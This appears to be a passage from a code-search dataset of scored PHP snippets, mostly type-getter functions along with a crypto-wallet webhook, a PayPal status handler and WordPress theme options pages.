self::DB_FIELD_TYPE_INTEGER;\n\t\tif ($type == \"tinyint\") return self::DB_FIELD_TYPE_INTEGER;\n\t\tif ($type == \"mediumint\") return self::DB_FIELD_TYPE_INTEGER;\n\n\t\t//Numeric Types (Arbitrary Precision Numbers)\n\t\tif ($type == \"decimal\") return self::DB_FIELD_TYPE_REAL;\n\t\tif ($type == \"numeric\") return self::DB_FIELD_TYPE_REAL;\n\t\tif ($type == \"real\") return self::DB_FIELD_TYPE_REAL;\n\t\tif ($type == \"double precision\") return self::DB_FIELD_TYPE_REAL;\n\t\tif ($type == \"float\") return self::DB_FIELD_TYPE_REAL;\n\t\tif ($type == \"double\") return self::DB_FIELD_TYPE_REAL;\n\n\t\t//Monetary Types\n\t\tif ($type == \"money\") return self::DB_FIELD_TYPE_CURRENCY;\n\n\t\t//Character Types\n\t\tif (strtok($type, \" \") == \"character\") return self::DB_FIELD_TYPE_STRING;\n\t\tif ($type == \"varchar\") return self::DB_FIELD_TYPE_STRING;\n\t\tif ($type == \"char\") return self::DB_FIELD_TYPE_STRING;\n\t\tif ($type == \"text\") return self::DB_FIELD_TYPE_STRING;\n\t\tif ($type == \"binary\") return self::DB_FIELD_TYPE_STRING;\n\t\tif ($type == \"varbinary\") return self::DB_FIELD_TYPE_STRING;\n\n\t\t//TODO: ENUM, SET\n\t\t//TODO: BLOB, CLOB\n\n\t\t//Binary Data Types\n\t\tif ($type == \"bytea\") return self::DB_FIELD_TYPE_BIN;\n\n\t\t//Date/Time Types\n\t\tif (strtok($type, \" \") == \"timestamp\") return self::DB_FIELD_TYPE_DATETIME;\n\t\tif (strtok($type, \" \") == \"timestamptz\") return self::DB_FIELD_TYPE_DATETIME;\n\t\tif ($type == \"date\") return self::DB_FIELD_TYPE_DATETIME;\n\t\tif ($type == \"datetime\") return self::DB_FIELD_TYPE_DATETIME;\n\t\tif ($type == \"year\") return self::DB_FIELD_TYPE_DATETIME;\n\t\tif (strtok($type, \" \") == \"time\") return self::DB_FIELD_TYPE_DATETIME;\n\t\tif (strtok($type, \" \") == \"interval\") return self::DB_FIELD_TYPE_DATETIME;\n\n\t\t//Boolean Type\n\t\tif ($type == \"boolean\") return self::DB_FIELD_TYPE_BOOLEAN;\n\n\t\t//Geometric Types\n\t\tif ($type == \"point\") return self::DB_FIELD_TYPE_GEOMETRY;\n\t\tif ($type == \"line\") return self::DB_FIELD_TYPE_GEOMETRY;\n\t\tif ($type == \"lseg\") return self::DB_FIELD_TYPE_GEOMETRY;\n\t\tif ($type == \"box\") return self::DB_FIELD_TYPE_GEOMETRY;\n\t\tif ($type == \"path\") return self::DB_FIELD_TYPE_GEOMETRY;\n\t\tif ($type == \"path\") return self::DB_FIELD_TYPE_GEOMETRY;\n\t\tif ($type == \"polygon\") return self::DB_FIELD_TYPE_GEOMETRY;\n\t\tif ($type == \"circle\") return self::DB_FIELD_TYPE_GEOMETRY;\n\n\t\t//Network Address Types\n\t\tif ($type == \"cidr\") return self::DB_FIELD_TYPE_NETADDR;\n\t\tif ($type == \"inet\") return self::DB_FIELD_TYPE_NETADDR;\n\t\tif ($type == \"macaddr\") return self::DB_FIELD_TYPE_NETADDR;\n\n\t\tthrow new PbException(\" Unknown type \\\"\" . $type . \"\\\" specified.\");\n\t}", "title": "" }, { "docid": "6d4db5a4fb229d6cfa5b5092c0c3fad6", "score": "0.45342064", "text": "public function created(BountyType $bountyType)\n {\n //\n }", "title": "" }, { "docid": "f811de1d85e64fd2f90b12972c80c271", "score": "0.4531636", "text": "public function getCurrencyType()\n {\n return $this->currency_type;\n }", "title": "" }, { "docid": "45bf4bd41740fc2664ca042e175ecdc2", "score": "0.45221648", "text": "public function __construct(Player &$player, BetType $type, $amount)\n {\n parent::__construct($player, $type, $amount);\n $this->setOdds($type->getOdds());\n }", "title": "" }, { "docid": "0952f5045b37d83b355fa6af386611ea", "score": "0.45117453", "text": "public function webhook(Request $request)\n {\n $input = $request->all();\n $u = Cryptowallet::where('address', $input['address'])->first();\n $currency = Currency::whereSymbol($input['coin_short_name'])->first();\n $amount = $input['amount'];\n\n if ($u) {\n $receive = Cryptotrx::where('trxid', $input['id'])->whereType('receive')->first();\n //$send = Cryptotrx::where('trxid', $input['id'])->whereType('send')->first();\n \n $baseurl = \"https://coinremitter.com/api/v3/get-coin-rate\";\n\t\t$curl = curl_init();\n\t\tcurl_setopt_array($curl, array(\n\t\t CURLOPT_URL => $baseurl,\n\t\t CURLOPT_RETURNTRANSFER => true,\n\t\t CURLOPT_ENCODING => '',\n\t\t CURLOPT_MAXREDIRS => 10,\n\t\t CURLOPT_TIMEOUT => 0,\n\t\t CURLOPT_FOLLOWLOCATION => true,\n\t\t CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,\n\t\t CURLOPT_CUSTOMREQUEST => 'GET',\n\t\t));\n\t\t$response = curl_exec($curl);\n\t\t$reply = json_decode($response,true);\n\t\tcurl_close($curl);\n\t\t$rate = $reply['data'][$currency->symbol]['price'];\n $usd = $rate * $amount;\n\n\n if($input['type'] == 'receive')\n {\n if(!$receive)\n {\n $u->balance += $amount;\n $u->save();\n\n $w['user_id'] = $u->user_id;\n $w['coin_id'] = $u->coin_id;\n $w['amount'] = $input['amount'];\n $w['usd'] = $usd;\n $w['address'] = $input['address'];\n $w['type'] = $input['type'];\n $w['trxid'] = $input['id'];\n $w['hash'] = $input['txid'];\n $w['explorer_url'] = $input['explorer_url'];\n $w['wallet_id'] = $input['wallet_id'];\n $w['status'] = 1;\n $result = Cryptotrx::create($w);\n //return response(['Message'=>'Wallet Credited'], 200);\n }\n\n }\n\n return response(['Message'=>'Wallet Credited'], 200);\n\n\n }\n elseif(!$us){\n return \"Wallet not found\";\n }\n else{\n return \"Transaction Not Found\";\n }\n }", "title": "" }, { "docid": "dd2275387d9341121984dd75fad0b591", "score": "0.45048204", "text": "public function getTransactionResponseCode($type, $pay_key) {\n $is_local_update = 0;\n $transaction_status = '';\n $code = 1127;\n $transaction_status = ApplaneConstentInterface::CANCELED;\n $paypal_transaction_ids = array();\n if ($type == ApplaneConstentInterface::SUCCESS) {\n //check transaction paypal\n $result = $this->getDetailPaypalTransaction($pay_key);\n if (isset($result->status)) {\n switch (Utility::getUpperCaseString($result->status)) {\n case ApplaneConstentInterface::COMPLETED:\n $is_local_update = 1;\n $code = 101;\n $transaction_status = ApplaneConstentInterface::COMPLETED;\n $paypal_transaction_ids = $this->getPaypalTransactionIds($result);\n break;\n case ApplaneConstentInterface::IN_COMPLETE:\n $code = 101;\n $is_local_update = 1;\n $transaction_status = ApplaneConstentInterface::COMPLETED;\n break;\n case ApplaneConstentInterface::PENDING:\n $code = 1126;\n break;\n case ApplaneConstentInterface::PROCESSING:\n $code = 1126;\n break;\n case ApplaneConstentInterface::ERROR: //in case it would be assumed canceled.\n $code = 1127;\n $is_local_update = 1;\n $transaction_status = ApplaneConstentInterface::CANCELED;\n break;\n default:\n $code = 1127;\n }\n }\n } else if ($type == ApplaneConstentInterface::CANCELED) { //transaction canceled\n $code = 1127;\n $is_local_update = 1;\n $transaction_status = ApplaneConstentInterface::CANCELED;\n } else { //error case\n $code = 1127;\n $transaction_status = ApplaneConstentInterface::CANCELED;\n $is_local_update = 1;\n }\n return array('code' => $code, 'is_local_update' => $is_local_update, 'transaction_status' => $transaction_status, 'paypal_transaction_ids' => $paypal_transaction_ids);\n }", "title": "" }, { "docid": "ac0d927cf09959b47512cdc4f354d52c", "score": "0.45035878", "text": "function getTypeCode();", "title": "" }, { "docid": "d1fac3655cb70e903a5b150b5f502183", "score": "0.45030147", "text": "function getColumnType($type)\n{\n switch ($type) {\n case \"pilot\":\n $typeID = \"characterID\";\n break;\n case \"corp\":\n $typeID = \"corporationID\";\n break;\n case \"alli\":\n $typeID = \"allianceID\";\n break;\n case \"price\":\n $typeID = \"total_price\";\n break;\n case \"ship\":\n $typeID = \"shipTypeID\";\n break;\n case \"faction\":\n $typeID = \"factionID\";\n break;\n default:\n $typeID = null;\n }\n return $typeID;\n}", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "2a0b0f8024a378516a1a2617bdac9890", "score": "0.4499957", "text": "public function getType(): string;", "title": "" }, { "docid": "925f7c663d9f8717e9276b6f846187e1", "score": "0.44970974", "text": "public function Type()\n {\n return 'honeypotspamprotector';\n }", "title": "" }, { "docid": "edc7dd663567cd518832906cd309f06e", "score": "0.44870573", "text": "public function type(): string;", "title": "" }, { "docid": "edc7dd663567cd518832906cd309f06e", "score": "0.44870573", "text": "public function type(): string;", "title": "" }, { "docid": "3eef86f0a1cd88d08991a810f9ce8313", "score": "0.44845098", "text": "public static function getCoinPrice($coin_symbol){\n $response = Curl::to('https://min-api.cryptocompare.com/data/pricemultifull?fsyms='.$coin_symbol.'&tsyms=USD')->withContentType('application/json')->get();\n $data = json_decode($response);\n if(!empty($data->Data)){\n foreach ($data as $key => $coins) {\n $coins=json_decode(json_encode($coins),true);\n foreach($coins as $coin){\n print_r($coin['USD']['PRICE']);\n echo '('.round($coin['USD']['CHANGE24HOUR'],2).')';\n break;\n }\n break;\n }\n }\n\t}", "title": "" }, { "docid": "924312147d9a600fb877db0bb01a81d5", "score": "0.44784078", "text": "function type_to_db_field($type)\n{\n $type = strtolower($type);\n\n if ($type === 'hat') {\n return 'hat_array';\n } elseif ($type === 'head') {\n return 'head_array';\n } elseif ($type === 'body') {\n return 'body_array';\n } elseif ($type === 'feet') {\n return 'feet_array';\n } elseif ($type === 'ehat') {\n return 'epic_hats';\n } elseif ($type === 'ehead') {\n return 'epic_heads';\n } elseif ($type === 'ebody') {\n return 'epic_bodies';\n } elseif ($type === 'efeet') {\n return 'epic_feet';\n } else {\n throw new Exception('Unknown type.');\n }\n}", "title": "" }, { "docid": "c101d87d9dd79ac5bb4a230def3376a9", "score": "0.44768903", "text": "public function expectedSendingKeyType(): string\n {\n return self::EXPECTED_SENDING_KEYS[$this->rawString()];\n }", "title": "" }, { "docid": "9ce277451e0ea03b79134f141e857d62", "score": "0.44730645", "text": "public function getType(): string\n {\n return self::TYPE_STRING;\n }", "title": "" }, { "docid": "8865fb4536e3b54d66d537756b1c9935", "score": "0.44664374", "text": "function typocode($cType) {\n\t\tswitch($cType) {\n\t\t\tcase ('postnuke') :\n\t\t\t\t$nRetour = _POSTNUKE;\n\t\t\t\tbreak;\n\t\t\tcase ('wiki') :\n\t\t\t\t$nRetour = _WIKI;\n\t\t\t\tbreak;\n\t\t\tcase ('bbcode') :\n\t\t\t\t$nRetour = _BBCODE;\n\t\t\t\tbreak;\n\t\t\tdefault :\n\t\t\t\t$nRetour = _DEFAULT;\t\t\t\t\n\t\t\t}\n\t\treturn($nRetour);\n\t\t}", "title": "" }, { "docid": "777e304825b5cdb4a93403d91ceabfca", "score": "0.44567913", "text": "public function getBlockTypeDescription()\n {\n return t(\"When visitors do some action, this addon sends to the information to the Mautic, a marketing automation service.\");\n }", "title": "" }, { "docid": "39e511bd6fdb265f3b2d1269cb637450", "score": "0.44559354", "text": "public function getType() {\n if (strstr($this->name, ' GF ') || strstr($this->name, ' U1') || strstr($this->name, ' U2')) {\n return 'GF';\n }\n return 'KF';\n }", "title": "" }, { "docid": "69b9697159a67be285b03521e908ff84", "score": "0.44516262", "text": "function getFeeType($fee_type)\n\t\t{\n\t\t\tif($fee_type == 'OF')\n\t\t\t{\n\t\t\t\t$fee_text = 'Overriding Fees';\n\t\t\t}\n\t\t\telseif ($fee_type == 'PC') {\n\t\t\t\t$fee_text = 'Personal Commision';\n\t\t\t}\n\t\t\telseif ($fee_type == 'RF') {\n\t\t\t\t$fee_text = 'Referral Fees';\n\t\t\t}\n\t\t\telseif ($fee_type == 'PV') {\n\t\t\t\t$fee_text = 'Point Value';\n\t\t\t}\n\t\t\telseif ($fee_type == 'PS') {\n\t\t\t\t$fee_text = 'Pool Sharing';\n\t\t\t}\n\t\t\treturn $fee_text;\n\t\t}", "title": "" } ]
4ece77574abcbefd4c4a7be90fc399e4
here's the main function that will generate our options page
[ { "docid": "5dfb5299b06118586ce19ff0b8489d56", "score": "0.0", "text": "function themeoptions_page() \n{\n\t\n\tif ( $_POST['update_themeoptions'] == 'true' ) { themeoptions_update(); }\n\t\n\t//if ( get_option() == 'checked'\n\t\n\t?>\n\t<div class=\"wrap\">\n\t\t<div id=\"icon-themes\" class=\"icon32\"><br /></div>\n\t\t<h2>Theme Options</h2>\n\t\n\t\t<form method=\"POST\" action=\"\">\n\t\t\t<input type=\"hidden\" name=\"update_themeoptions\" value=\"true\" />\n\t\t\t<?php /* ?>\n\t\t\t<h4>Colour Stylesheet To Use</h4>\n\t\t\t<select name =\"colour\">\n\t\t\t\t<?php $colour = get_option('mytheme_colour'); ?>\n\t\t\t\t<option value=\"red\" <?php if ($colour=='red') { echo 'selected'; } ?> >Red Stylesheet</option>\n\t\t\t\t<option value=\"green\" <?php if ($colour=='green') { echo 'selected'; } ?>>Green Stylesheet</option>\n\t\t\t\t<option value=\"blue\" <?php if ($colour=='blue') { echo 'selected'; } ?>>Blue Stylesheet</option>\n\t\t\t</select>\n\t\t\t\n\t\t\t<h4>Advertising Spot #1</h4>\n\t\t\t<p><input type=\"text\" name=\"ad1image\" id=\"ad1image\" size=\"32\" value=\"<?php echo get_option('mytheme_ad1image'); ?>\"/> Advert Image</p>\n\t\t\t<p><input type=\"text\" name=\"ad1url\" id=\"ad1url\" size=\"32\" value=\"<?php echo get_option('mytheme_ad1url'); ?>\"/> Advert Link</p>\n\t\t\t\n\t\t\t<h4>Advertising Spot #2</h4>\n\t\t\t<p><input type=\"text\" name=\"ad2image\" id=\"ad2image\" size=\"32\" value=\"<?php echo get_option('mytheme_ad2image'); ?>\"/> Advert Image</p>\n\t\t\t<p><input type=\"text\" name=\"ad2url\" id=\"ad2url\" size=\"32\" value=\"<?php echo get_option('mytheme_ad2url'); ?>\"/> Advert Link</p>\n\t\t\t\n\t\t\t<h4><input type=\"checkbox\" name=\"display_sidebar\" id=\"display_sidebar\" <?php echo get_option('mytheme_display_sidebar'); ?> /> Display Sidebar</h4>\n\t\t\t\n\t\t\t<h4><input type=\"checkbox\" name=\"display_search\" id=\"display_search\" <?php echo get_option('mytheme_display_search'); ?> /> Display Search Box</h4>\n\t\t\t\n\t\t\t<h4><input type=\"checkbox\" name=\"display_twitter\" id=\"display_twitter\" <?php echo get_option('mytheme_display_twitter'); ?> /> Display Twitter Stream</h4>\n\t\t\t<p><input type=\"text\" name=\"twitter_username\" id=\"twitter_username\" size=\"32\" value=\"<?php echo get_option('mytheme_twitter_username'); ?>\" /> Twitter Username</p> \n\t\t\t\n\t\t\t <?php */ ?>\n\t\t\t<h4>Google Analytics code</h4>\n\t\t\t<p><textarea name=\"js_ga\" id=\"\" cols=\"80\" rows=\"10\"><?php echo stripslashes(get_option('js_ga')); ?></textarea></p>\n\t\t\t\n\t\t\t<h4>Social Links</h4>\n\t\t\t<input type=\"text\" name=\"js_twitter\" size=\"80\" id=\"js_twitter\" value=\"<?php echo get_option('js_twitter'); ?>\" /> Twitter</p>\n\t\t\t<input type=\"text\" name=\"js_facebook\" size=\"80\" id=\"js_facebook\" value=\"<?php echo get_option('js_facebook'); ?>\" /> Facebook</p>\n\t\t\t\n\t\t\t<p><input type=\"submit\" name=\"search\" value=\"Update Options\" class=\"button\" /></p>\n\t\t</form>\n\t\n\t</div>\n\t<?php\n}", "title": "" } ]
[ { "docid": "9271e00a362d1b530d808c5174fa9c7a", "score": "0.8166835", "text": "function build_option_pages()\r\n\t{\r\n\t\t/* intentionally left blank */\r\n\t}", "title": "" }, { "docid": "d02276fd08bee9da88295175f2efcb4c", "score": "0.7756834", "text": "public function print_option_page() {\n\n\t\trequire_once PTL_DIR . '/templates/option-page.php';\n\t}", "title": "" }, { "docid": "d8caf59d72822aedd3fdd24329d81719", "score": "0.7524051", "text": "function options_page() {\n\n\t\trequire( dirname(__FILE__) . \"/inc-admin-options.php\" );\n\n\t}", "title": "" }, { "docid": "3f70800a8a06b4d6acca8a1b219a2e26", "score": "0.7507041", "text": "public function admin_options()\r\n {\r\n ob_start();\r\n $this->generate_settings_html();\r\n $settings = ob_get_contents();\r\n ob_clean();\r\n\r\n echo $this->get_template('admin/options.html', array(\r\n 'title' => $this->method_title,\r\n 'description' => $this->method_description,\r\n 'settings' => $settings\r\n ));\r\n }", "title": "" }, { "docid": "b763fa579821a05fb8988549f87bea1b", "score": "0.74310917", "text": "function rwk_options_page()\n{\n add_options_page(\n 'Rwk Shop Admin Options',\n 'Rwk Shop Admin',\n 'manage_options',\n 'rwk',\n 'rwk_options_page_html'\n );\n}", "title": "" }, { "docid": "e16ca7e91c5a1c12d09ec7f91beca3bb", "score": "0.74163806", "text": "function display_plugin_options_page(){}", "title": "" }, { "docid": "420f9d0f4b4a213544bfb6f310bc50d9", "score": "0.72948533", "text": "private static function options() {\n $zips = wp_remote_get('https://gist.githubusercontent.com/enlightenedpie/99139b054dd9e4ad3f81689e2326d198/raw/69b654b47a01d2dc9e9ac34816c05ab5aa9ad355/ca_zips.json')['body'];\n update_option( 'sttv_ca_zips', $zips, true );\n\n // <select> elements for all countries with country code values\n $countrydd = wp_remote_get('https://gist.githubusercontent.com/enlightenedpie/888ba7972fa617579c374e951bd7eab9/raw/426359f78a9074b9e42fb68c30a583e8997736fe/gistfile1.txt')['body'];\n update_option( 'sttv_country_options', $countrydd, true );\n\n // crytpo dictionary, just a bunch of random words\n $crypto = wp_remote_get( 'https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english-usa.txt')['body'];\n update_option( 'sttv_crypto_dictionary', $crypto, true );\n\n }", "title": "" }, { "docid": "ba65017bd40416e502ae6903274ec180", "score": "0.72490287", "text": "public function displayAdminOptionsPage()\n {\n include_once('partials/options.php');\n }", "title": "" }, { "docid": "0ac8984fd234c1809310141ffd298869", "score": "0.7189685", "text": "function wp_startup_optionpage_html() {\n // !page 1? => oop from sections array for more pages\n echo '<div class=\"wrap\"><h1>WP startup options</h1>';\n //echo '<form method=\"post\" action=\"options.php\">';\n echo '<form method=\"post\" action=\"options.php\" onSubmit=\"this.action=\\'options.php\\'+location.hash\">';\n $this->wp_startup_optionpage_html_section_tabs( 'wp_startup_optionpage', 'wp_startup_optionpage_grp' );\n // display all sections for plugin-options page\n //settings_fields(\"wp_startup_optionpage_grp\");\n //do_settings_sections(\"wp_startup_optionpage\");\n submit_button();\n $this->wp_startup_optionpage_html_footer();\n echo '</form></div>';\n\n }", "title": "" }, { "docid": "05a7d9b3f34659d4bd1613a005c5a9bc", "score": "0.70537907", "text": "protected function displayOptions(){\n foreach ($this->options as $url => $item) {\n echo \"<li><span title=\\\"\".$item['description'].\"\\\">\".(parent::isURLCurrentPage($url) ?\n \"*\".strtoupper($item['name']).\"*\" :\n \"<a href='\".$url.\"'>\".strtoupper($item['name']).\"</a>\").\"</span></li>\";\n }\n }", "title": "" }, { "docid": "256abd8e22e77f1fef2fc51e8fa5b2ff", "score": "0.70482725", "text": "public static function options_page()\n {\n if (!current_user_can('manage_options'))\n {\n wp_die(__('You do not have sufficient permissions to access this page.'));\n }\n\n if (!empty($_POST['loadscripts']))\n {\n @file_get_contents(get_home_url());\n }\n\n $plugin_id = SLPLUGINOPTIONS_ID;\n // display options page\n include(self::file_path('options.php'));\n }", "title": "" }, { "docid": "822df9aee25e5173d92a5ccf2cdd83e9", "score": "0.70442164", "text": "function plugin_options_page() {\n\t\techo '<div class=\"wrap\">';\n\t\techo screen_icon();\n\t\techo '<h2>';\n\t\t_e('ESPN Headlines Settings', \"espn_headlines\");\n\t\techo '</h2>';\n\t\techo '<form action=\"options.php\" method=\"post\">';\n\t\techo settings_fields('espn_headlines_options');\n\t\techo do_settings_sections('plugin');\n\t\t\n\t\techo '<input name=\"Submit\" type=\"submit\" value=\"' . __('Save Changes') . '\" />';\n\t\techo '</form></div>';\n\t}", "title": "" }, { "docid": "17b6821c7bb60dae9babae5c2150877c", "score": "0.7042395", "text": "public function admin_options() {\n\t\tparent::admin_options();\n\n\t\tinclude dirname( __FILE__ ) . '/views/html-admin-options.php';\n\t}", "title": "" }, { "docid": "0893885a70b1de048391f2844e46aa5f", "score": "0.7021539", "text": "public function options_page_html()\n {\n // check user capabilities\n if (!current_user_can('manage_options')) {\n return;\n }\n wp_enqueue_style($this->myname);\n\n wp_enqueue_script($this->myname);\n\n include ( FEGOEDUCATION_DIR . '/admin/views/options-html.php' );\n include ( FEGOEDUCATION_DIR . '/admin/views/admin-footer.php' );\n }", "title": "" }, { "docid": "aca3cc00d019353b128f07afab408c11", "score": "0.7017024", "text": "function options_page() {\r\n\t\tglobal $wp_rewrite;\r\n\t\t$wp_rewrite->flush_rules();\r\n\t\t\r\n\t\techo '<div class=\"wrap\">';\r\n\t\techo '<div id=\"icon-themes\" class=\"icon32\" style=\"background-image:url(' . DISCOGRAPHY_URL . 'images/icons/icon32.png);\"><br /></div>';\r\n\t\techo '<h2>' . __( 'Discography Settings', 'discography' ) . '</h2>';\r\n\t\t$this->p2p_install_admin_message();\r\n\t\techo '<form action=\"options.php\" method=\"post\">';\r\n\t\tsettings_fields( 'discography_options' );\r\n\t\tdo_settings_sections( 'discography' );\r\n\t\techo '<p class=\"submit\">\r\n\t\t\t\t<input type=\"submit\" name=\"submit\" id=\"submit\" class=\"button-primary\" value=\"' . __( 'Save Changes', 'discography' ) . '\">\r\n\t\t\t\t<input type=\"reset\" name=\"reset\" id=\"reset\" class=\"button\" value=\"' . __( 'Reset Options', 'discography' ) . '\">\r\n\t\t\t</p>';\r\n\t\techo '</form>';\r\n\t}", "title": "" }, { "docid": "bae2ff67256d8155d4ee89e8ff69162d", "score": "0.69994074", "text": "function _display_options_section() {\n }", "title": "" }, { "docid": "217a345b878643fbd58c4e49b2a18de1", "score": "0.6961728", "text": "public function addOptionsPage() {\n\n\t\tadd_options_page(\n\t\t\t__( \"E20R Licensing\", \"e20rlicense\" ),\n\t\t\t__( \"E20R Licensing\", \"e20rlicense\" ),\n\t\t\t'manage_options',\n\t\t\t'e20r-license',\n\t\t\tarray( $this, 'licensePage' )\n\t\t);\n\t}", "title": "" }, { "docid": "09085fb3dde4256dcf65499543729662", "score": "0.69449645", "text": "function do_page() {\n\t\t?>\n\n\t <div class=\"wrap\">\n\n\t <h2><?php echo $this->args['page_title'];?></h2>\n\n\t <form method=\"post\" action=\"options.php\">\n\n\t <?php settings_fields($this->args['option_group']); ?>\n\n\t \n\n\t <table class=\"form-table\">\n\n\t <?php $this->option_rows(); //render rows based on $this->args['options'] ?>\n\t\t\t\t\t\n\t </table>\n\n\t <p class=\"submit\">\n\n\t <input type=\"submit\" class=\"button-primary\" value=\"<?php _e('Save Changes') ?>\" />\n\n\t </p>\n\n\t </form>\n\n\t </div>\n\n\t <?php \n\n\t}", "title": "" }, { "docid": "aaacc17608f521997222b7f72f935d41", "score": "0.6919441", "text": "public function admin_options()\r\n {\r\n ob_start();\r\n $this->generate_settings_html();\r\n $settings = ob_get_contents();\r\n ob_clean();\r\n\r\n echo $this->getTemplate('admin/options.html', array(\r\n 'title' => __('Paymentwall Gateway', 'woocommerce'),\r\n 'description' => __('Enables the Paymentwall Payment Solution. The easiest way to monetize your game or web service globally.', 'woocommerce'),\r\n 'settings' => $settings\r\n ));\r\n }", "title": "" }, { "docid": "a3fb6c8f88b90c09d253be7081227aad", "score": "0.6910372", "text": "function optionsframework_options() {\n\t\n\t// Test data\n\t$test_array = array(\"one\" => \"One\",\"two\" => \"Two\",\"three\" => \"Three\",\"four\" => \"Four\",\"five\" => \"Five\");\n\t\n\t// Multicheck Array\n\t$multicheck_array = array(\"one\" => \"French Toast\", \"two\" => \"Pancake\", \"three\" => \"Omelette\", \"four\" => \"Crepe\", \"five\" => \"Waffle\");\n\t\n\t// Multicheck Defaults\n\t$multicheck_defaults = array(\"one\" => \"1\",\"five\" => \"1\");\n\t\n\t// Background Defaults\n\t\n\t$background_defaults = array('color' => '', 'image' => '', 'repeat' => 'repeat','position' => 'top center','attachment'=>'scroll');\n\t\n\t\n\t// Pull all the categories into an array\n\t$options_categories = array(); \n\t$options_categories_obj = get_categories();\n\tforeach ($options_categories_obj as $category) {\n \t$options_categories[$category->cat_ID] = $category->cat_name;\n\t}\n\t\n\t// Pull all the pages into an array\n\t$options_pages = array(); \n\t$options_pages_obj = get_pages('sort_column=post_parent,menu_order');\n\t$options_pages[''] = 'Select a page:';\n\tforeach ($options_pages_obj as $page) {\n \t$options_pages[$page->ID] = $page->post_title;\n\t}\n\t\t\n\t// If using image radio buttons, define a directory path\n\t$imagepath = get_bloginfo('stylesheet_directory') . '/images/';\n\t\t\n\t$options = array();\n\n\t$options[] = array( \"name\" => \"General\",\n\t\t\t\t\t\t\"type\" => \"heading\");\n\n\t$options[] = array( \"name\" => \"Favicon\",\n\t\t\t\t\t\t\"desc\" => \"Upload custom favicon here. Favicon is 16 x 16 pixels .ico formatted image used as site icon\",\n\t\t\t\t\t\t\"id\" => \"pantomime_favicon\",\n\t\t\t\t\t\t\"type\" => \"upload\");\t\n\n\t$options[] = array( \"name\" => \"Custom Javascript / Stylesheet on &lt;head&gt;\",\n\t\t\t\t\t\t\"desc\" => \"Paste custom stylesheet / javascript code such as Google Analytics here. The script will be inserted inside &lt;head&gt; area.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_custom_script_head\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"textarea\"); \n\n\n\t$options[] = array( \"name\" => \"Custom Javascript on footer\",\n\t\t\t\t\t\t\"desc\" => \"Paste custom javascript code such as Google Analytics here. The script will be inserted on footer area.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_custom_script_foot\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"textarea\"); \n\n\t$options[] = array( \"name\" => \"Color Scheme\",\n\t\t\t\t\t\t\"type\" => \"heading\");\n\t\t\t\t\t\t\t\n\n\t$options[] = array( \"name\" => \"Link Color\",\n\t\t\t\t\t\t\"desc\" => \"Main link color. Most of link presented will use this color.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_link_color\",\n\t\t\t\t\t\t\"std\" => \"#666666\",\n\t\t\t\t\t\t\"type\" => \"color\");\n\n\t$options[] = array( \"name\" => \"Link Hover\",\n\t\t\t\t\t\t\"desc\" => \"Color of hovered link.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_link_color_hover\",\n\t\t\t\t\t\t\"std\" => \"#BD0000\",\n\t\t\t\t\t\t\"type\" => \"color\");\n\n\t$options[] = array( \"name\" => \"Title Color\",\n\t\t\t\t\t\t\"desc\" => \"Color of the text on header.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_title_color\",\n\t\t\t\t\t\t\"std\" => \"#000000\",\n\t\t\t\t\t\t\"type\" => \"color\");\n \n\t$options[] = array( \"name\" => \"Content Link Color\",\n\t\t\t\t\t\t\"desc\" => \"Content's link color. Content's link will use this color.\",\n\t\t\t\t\t\t\"id\" => \"pantomime_content_link_color\",\n\t\t\t\t\t\t\"std\" => \"#AFAFAF\",\n\t\t\t\t\t\t\"type\" => \"color\");\n\n\t\n\t$options[] = array( \"name\" => \"Typography\",\n\t\t\t\t\t\t\"type\" => \"heading\");\n\n\t$pantomime_heading_typography = array(\n \"Default\" => \"Helvetica Neue (Default)\",\n \"Copse\" => \"Copse\",\n \"Pacifico\" => \"Pacifico\",\n \"Lobster\" => \"Lobster\",\n \"Bangers\" => \"Bangers\",\n \"Kreon\" => \"Kreon\",\n \"Leckerli+One\" => \"Leckerli One\",\n \"Carter+One\" => \"Carter One\"\n );\n\t\n $options[] = array( \"name\" => \"Heading Typography\",\n\t\t\t\t\t\t\"desc\" => \"Select font that will be used for your headings (site name, content title and content headings).\",\n\t\t\t\t\t\t\"id\" => \"pantomime_heading_typography\",\n\t\t\t\t\t\t\"std\" => \"Helvetica Neue (Default)\",\n\t\t\t\t\t\t\"type\" => \"select\",\n\t\t\t\t\t\t\"options\" => $pantomime_heading_typography);\t\n\n\t$options[] = array( \"name\" => \"Social Media\",\n\t\t\t\t\t\t\"type\" => \"heading\");\n\t\n\t$options[] = array( \"name\" => \"Facebook Page URL\",\n\t\t\t\t\t\t\"desc\" => \"Type Facebook URL here.\",\n\t\t\t\t\t\t\"id\" => \"facebook_url\",\n\t\t\t\t\t\t\"std\" => \"http://facebook.com/fikri.rasyid.book\",\n\t\t\t\t\t\t\"type\" => \"text\");\n\n\t$options[] = array( \"name\" => 